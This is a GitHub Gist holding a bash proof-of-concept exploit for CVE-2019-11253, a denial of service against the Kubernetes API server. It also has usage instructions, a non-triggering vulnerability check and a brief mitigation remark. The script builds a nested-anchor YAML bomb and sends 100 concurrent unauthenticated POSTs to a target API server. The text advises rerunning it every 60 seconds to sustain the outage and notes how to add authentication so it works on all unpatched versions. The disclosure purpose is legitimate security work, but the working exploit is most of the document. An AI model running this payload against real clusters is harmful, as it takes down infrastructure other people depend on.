-
-
Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
#!/usr/bin/env bash | |
# CVE-2019-11253 | |
# https://github.com/kubernetes/kubernetes/issues/83253 | |
# Shout out: @raesene for poc collab, @iancoldwater + @mauilion for | |
# HONKing inspiration and other guidance. | |
# Description: In Kubernetes 1.13 and below, the default configuration | |
# is that system:anonymous can request a selfsubjectaccessreview | |
# via mechanisms such as "kubectl auth can-i". This request can | |
# include POSTed YAML, and just the act of trying to parse it causes | |
# excessive memory usage by the API server. Anywhere from about 10 | |
# to 100 concurrent requests of this nature can overwhelm the API | |
# server's resources and cause it to become unresponsive to the point | |
# that the worker nodes and user's running kubectl will believe the | |
# control plane is offline. Since requests can last up to 60s by | |
# default before the timeout kicks in, sustaining the attack only | |
# requires between 10 and ~100 requests per minute. | |
# Recommendation: Update Kubernetes to a release that includes YAML | |
# parsing resource limits and limit direct, public access to API | |
# servers. See the above GH issue for details. | |
# This will work for Kubernetes 1.13 and below if not patched without | |
# requiring auth. It can be modified to send valid authentication | |
# headers and then work against all non-patched versions. | |
APISERVER="${1:-localhost}" | |
CONCURRENT="${2:-100}" | |
YAML="yaml_dos.yml" | |
# The data here doesn't really have to be a valid SAR request since | |
# the API server is DoSed just trying to parse it. | |
if [ ! -f $YAML ]; then | |
cat > $YAML <<EOF | |
apiVersion: authorization.k8s.io/v1 | |
kind: SelfSubjectAccessReview | |
metadata: | |
name: yaml-dos | |
namespace: default | |
data: | |
a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"] | |
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] | |
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] | |
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] | |
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] | |
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] | |
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] | |
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] | |
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] | |
j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i] | |
k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j] | |
l: &l [*l,*l,*l,*l,*l,*l,*l,*l,*l] | |
EOF | |
fi | |
echo "Sending billions of HONKs using a flock of ${CONCURRENT} flying geese to https://${APISERVER}..." | |
seq 1 ${CONCURRENT} | xargs -I{} -n 1 -P ${CONCURRENT} curl -sk -XPOST -H "Content-Type: application/yaml" --data-binary @"${YAML}" "https://${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" |
Usage:
./poc.sh my.api.server.ip 100
Sending billions of HONKs using a flock of 100 flying geese to https://my.api.server.ip...
Monitor the CPU/RAM and health/availability of the API server in question. Keep running this every 60s to perform a sustained attack.
How to check for vulnerability without triggering the Denial of Service (1.13.7 shown):
curl -sk -XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": ".authorization.k8s.io \"\" is invalid: spec.resourceAttributes: Invalid value: \"null\": exactly one of nonResourceAttributes or resourceAttributes must be specified",
"reason": "Invalid",
"details": {
"group": "authorization.k8s.io",
"causes": [
{
"reason": "FieldValueInvalid",
"message": "Invalid value: \"null\": exactly one of nonResourceAttributes or resourceAttributes must be specified",
"field": "spec.resourceAttributes"
}
]
},
"code": 422
}
The Error Code 422 message explains that the YAML was expected to have certain fields. This indicates the server did in fact try to parse what was sent. Use the value from https://my.api.server.ip/version
on most clusters to know if the cluster is an un-patched version.
Checking K8s 1.14.6 and showing it is not available due to RBAC permissions preventing it anonymously:
$ curl -sk-XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "selfsubjectaccessreviews.authorization.k8s.io is forbidden: User \"system:anonymous\" cannot create resource \"selfsubjectaccessreviews\" in API group \"authorization.k8s.io\" at the cluster scope",
"reason": "Forbidden",
"details": {
"group": "authorization.k8s.io",
"kind": "selfsubjectaccessreviews"
},
"code": 403
}
Kubernetes 1.14+ by default does not grant the ability to perform SelfSubjectAccessReviews
and similar requests by system:anonymous
. Again, see the Kubernetes Issue for the RBAC changes.
By default, un-patched versions of Kubernetes 1.13 and below are susceptible to an unauthenticated denial of service attack where the client can POST a valid, specially formatted YAML document and cause the API Server to exhaust CPU and RAM attempting to parse it. In all un-patched versions of Kubernetes (see: kubernetes/kubernetes#83253 for patching information), authenticated users are able to carry out this attack.
Mitigation: